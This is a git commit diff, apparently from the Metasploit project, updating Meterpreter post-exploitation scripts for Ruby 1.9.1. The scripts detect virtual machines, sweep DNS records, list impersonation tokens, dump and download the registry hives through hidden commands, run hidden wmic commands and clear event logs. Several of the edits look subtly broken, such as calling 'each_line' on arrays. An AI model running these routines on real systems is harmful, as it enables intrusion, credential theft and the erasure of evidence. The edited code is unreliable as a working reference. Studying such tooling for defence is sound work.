Updated for Ruby 1.9.1

git-svn-id: file:///home/svn/framework3/trunk@6680 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Carlos Perez 2009-06-20 16:15:46 +00:00
parent d9792d4beb
commit 9e28205d16
6 changed files with 28 additions and 29 deletions

View File

@ -37,13 +37,13 @@ def chkvm(session)
open_key2 = session.sys.registry.open_key(root_key2,base_key2,KEY_READ)
v2 = open_key2.query_value('Identifier')
if v2.data.downcase.grep("vmware")
if v2.data.downcase =~ /vmware/
print_status "\tThis is a VMWare virtual Machine"
elsif v2.data.downcase.grep("vbox")
elsif v2.data.downcase =~ /vbox/
print_status "\tThis is a Sun VirtualBox virtual Machine"
elsif v2.data.downcase.grep("xen")
elsif v2.data.downcase =~ /xen/
print_status "\tThis is a Xen virtual Machine"
elsif v2.data.downcase.grep("virtual hd")
elsif v2.data.downcase =~ /virtual hd/
print_status "\tThis is a Hyper-V/Virtual Server virtual Machine"
end
rescue::Exception => e

View File

@ -1,5 +1,4 @@
#!/usr/bin/env ruby
require 'ftools'
#
#Meterpreter script for ping sweeps on Windows 2003, Windows Vista
#Windows 2008 and Windows XP targets using native windows commands.
@ -52,12 +51,12 @@ def stdlookup(session,domain,dest)
end
r.channel.close
r.close
results = mxout.to_s.split(/\n/)
results = mxout.join.split(/\n/)
results.each do |rec|
if rec.match(/\s*internet\saddress\s\=\s/)
garbage << rec.split(/\s*internet\saddress\s\=/)
print_status("#{garbage[0].to_s.sub(" "," ")} #{t} ")
filewrt(dest,garbage[0].to_s.sub(" "," ")+" #{t} ")
print_status("#{garbage[0].join.sub(" "," ")} #{t} ")
filewrt(dest,garbage[0].join.sub(" "," ")+" #{t} ")
garbage.clear
end
garbage.clear
@ -72,7 +71,7 @@ end
# Function for writing results of other functions to a file
def filewrt(file2wrt, data2wrt)
output = ::File.open(file2wrt, "a")
data2wrt.each do |d|
data2wrt.each_line do |d|
output.puts(d)
end
output.close
@ -160,8 +159,8 @@ def frwdlp(session,hostlst,domain,dest)
}
threads.each { |aThread| aThread.join }
tmpout.uniq.each do |t|
print_status ("\t#{t.to_s.sub(/Address\w*:/, "\t")}")
filewrt(dest,"#{t.to_s.sub(/Address\w*:/, "\t")}")
print_status("\t#{t.join.sub(/Address\w*:/, "\t")}")
filewrt(dest,"#{t.join.sub(/Address\w*:/, "\t")}")
end
else
@ -238,12 +237,12 @@ def srvreclkp(session,domain,dest)
end
r.channel.close
r.close
results = srout.to_s.split(/\n/)
results = srout.join.split(/\n/)
results.each do |rec|
if rec.match(/\s*internet\saddress\s\=\s/)
garbage << rec.split(/\s*internet\saddress\s\=/)
print_status("\tfor #{srv}#{domain} #{garbage[0].to_s.sub(" "," ")}")
filewrt(dest,"for #{srv}#{domain} #{garbage[0].to_s.sub(" "," ")}")
print_status("\tfor #{srv}#{domain} #{garbage[0].join.sub(" "," ")}")
filewrt(dest,"for #{srv}#{domain} #{garbage[0].join.sub(" "," ")}")
garbage.clear
end
garbage.clear

View File

@ -116,7 +116,7 @@ end
# Function for writing results of other functions to a file
def filewrt(file2wrt, data2wrt)
output = ::File.open(file2wrt, "a")
data2wrt.each do |d|
data2wrt.each_line do |d|
output.puts(d)
end
output.close

View File

@ -127,7 +127,7 @@ end
# Function for writing results of other functions to a file
def filewrt(file2wrt, data2wrt)
output = ::File.open(file2wrt, "a")
data2wrt.each do |d|
data2wrt.each_line do |d|
output.puts(d)
end
output.close

View File

@ -154,16 +154,16 @@ def chkvm(session)
open_key2 = session.sys.registry.open_key(root_key2,base_key2,KEY_READ)
v2 = open_key2.query_value('Identifier')
if v2.data.downcase.grep("vmware")
if v2.data.downcase =~ /vmware/
print_status "\tThis is a VMWare virtual Machine"
vmout << "This is a VMWare virtual Machine\n\n"
elsif v2.data.downcase.grep("vbox")
elsif v2.data =~ /vbox/
print_status "\tThis is a Sun VirtualBox virtual Machine"
vmout << "This is a Sun VirtualBox virtual Machine\n\n"
elsif v2.data.downcase.grep("xen")
elsif v2.data.downcase =~ /xen/
print_status "\tThis is a Xen virtual Machine"
vmout << "This is a Xen virtual Machine\n\n"
elsif v2.data.downcase.grep("virtual hd")
elsif v2.data.downcase =~ /virtual hd/
print_status "\tThis is a Hyper-V/Virtual Server virtual Machine"
vmout << "This is a Hyper-v/Virtual Server virtual Machine\n\n"
end
@ -296,7 +296,7 @@ def listtokens(session)
dt << "#{tType} Delegation Tokens Available \n"
dt << "======================================== \n"
tokens['delegation'].each { |string|
tokens['delegation'].each_line{ |string|
dt << string + "\n"
}
@ -304,7 +304,7 @@ def listtokens(session)
dt << "#{tType} Impersonation Tokens Available \n"
dt << "======================================== \n"
tokens['impersonation'].each { |string|
tokens['impersonation'].each_line{ |string|
dt << string + "\n"
}
i += 1
@ -372,7 +372,7 @@ def regdump(session,pathoflogs,filename)
hives = %w{HKCU HKLM HKCC HKCR HKU}
windir = session.fs.file.expand_path("%WinDir%")
print_status('Dumping and Downloading the Registry')
hives.each do |hive|
hives.each_line do |hive|
begin
print_status("\tExporting #{hive}")
r = session.sys.process.execute("cmd.exe /c reg.exe export #{hive} #{windir}\\Temp\\#{hive}#{filename}.reg", nil, {'Hidden' => 'true','Channelized' => true})
@ -393,7 +393,7 @@ def regdump(session,pathoflogs,filename)
end
end
#Downloading Compresed registry Hives
hives.each do |hive|
hives.each_line do |hive|
begin
print_status("\tDownloading #{hive}#{filename}.cab to -> #{pathoflogs}/#{host}-#{hive}#{filename}.cab")
session.fs.file.download_file("#{pathoflogs}/#{host}-#{hive}#{filename}.cab", "#{windir}\\Temp\\#{hive}#{filename}.cab")
@ -428,7 +428,7 @@ end
def covertracks(session,cmdstomp)
clrevtlgs(session)
info = session.sys.config.sysinfo
trgtos = winver(session)
trgtos = info['OS']
if trgtos =~ /(Windows 2000)/
chmace(session,cmdstomp - nonwin2kcmd)
else
@ -439,7 +439,7 @@ end
# Function for writing results of other functions to a file
def filewrt(file2wrt, data2wrt)
output = ::File.open(file2wrt, "a")
data2wrt.each do |d|
data2wrt.each_line do |d|
output.puts(d)
end
output.close
@ -664,4 +664,4 @@ if helpopt != 1
end
end
print_status("Done!")
end
end

View File

@ -28,7 +28,7 @@ def wmicexec(session,wmiccmds= nil)
begin
tmp = session.fs.file.expand_path("%TEMP%")
wmicfl = tmp + "\\"+ sprintf("%.5d",rand(100000))
wmiccmds.each do |wmi|
wmiccmds.each_line do |wmi|
print_status "running command wmic #{wmi}"
r = session.sys.process.execute("cmd.exe /c wmic /append:#{wmicfl} #{wmi}", nil, {'Hidden' => true})
sleep(2)
@ -64,7 +64,7 @@ end
# Function for writing results of other functions to a file
def filewrt(file2wrt, data2wrt)
output = ::File.open(file2wrt, "a")
data2wrt.each do |d|
data2wrt.each_line do |d|
output.puts(d)
end
output.close